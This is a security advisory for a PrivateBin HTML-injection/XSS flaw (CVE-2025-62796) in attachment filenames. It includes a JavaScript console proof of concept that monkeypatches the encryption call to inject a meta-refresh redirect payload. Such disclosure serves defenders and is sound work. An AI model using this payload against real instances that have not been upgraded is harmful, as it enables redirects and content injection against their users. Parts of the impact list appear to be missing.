privatebin/privatebin
Affected
- introduced
1.7.7, fixed2.0.2(ecosystem)
Fixed versions
2.0.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2025-62796
PrivateBin is missing HTML sanitization of attached filename in file size hint
We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.
Recommend action: As the vulnerability has been fixed in the latest version, users are strongly encouraged to upgrade PrivateBin to the latest version _and_ check that a strong CSP header, just as the default suggested one, is delivered.
Summary of the vulnerability: The attachment_name field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.
Impact
The vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition a XSS vulnerability (CWE-80), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject a script tag (as per CWE-79).
That said, also due to [previous issues](#more-informaton), we have strong mitigations for this in place. The content security policy (CSP) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is _not_ affected.
However, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:
This list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.
> [!IMPORTANT]
> Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected.
Technical Description
The front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a cipherMessage object containing, among other fields:
paste -> paste textattachment -> file content (data-URI)attachment_name -> array with file namesBefore encryption, the ServerInteraction.setCipherMessage(cipherMessage) function is called. By intercepting/altering the cipherMessage on the client immediately before encryption, it is possible to replace attachment_name with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.
Note that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues.
Proof of concept
Paste this into the console on the PrivateBin page before clicking Create.
// Monkeypatch to modify attachment_name immediately before encryption
(() => {
const desiredName = '"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt'; // <- adjust here
// get the namespace used by PrivateBin
if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {
return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).');
}
const SI = $.PrivateBin.ServerInteraction;
// save original function
const origSetCipherMessage = SI.setCipherMessage?.bind(SI);
if (typeof origSetCipherMessage !== 'function') {
return console.error('setCipherMessage not found or is not a function.');
}
SI.setCipherMessage = async function(cipherMessage) {
try {
// cipherMessage here is the plain object the client intends to encrypt
if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) {
console.log('[patch] original attachment_name:', cipherMessage.attachment_name);
cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName);
console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name);
} else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) {
// if there are attachments but no attachment_name (rare), add a coherent array
cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName);
console.log('[patch] attachment_name added:', cipherMessage.attachment_name);
} else {
// nothing to change
}
// call the original implementation (which performs the encryption)
return await origSetCipherMessage(cipherMessage);
} catch (err) {
console.error('Error in setCipherMessage monkeypatch:', err);
// in case of error, attempt to call the original anyway
return await origSetCipherMessage(cipherMessage);
}
};
console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).');
})();
Reproduction Steps
desiredName to the desired HTML payload (e.g., "><meta http-equiv="refresh" content="0;url=https://example.com/">.txt).What happens: When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.
Mitigation
We strongly recommend you to upgrade to our latest release. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:
Medium Basis: The source's own band: MODERATE
1.7.7, fixed 2.0.2 (ecosystem)2.0.2
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0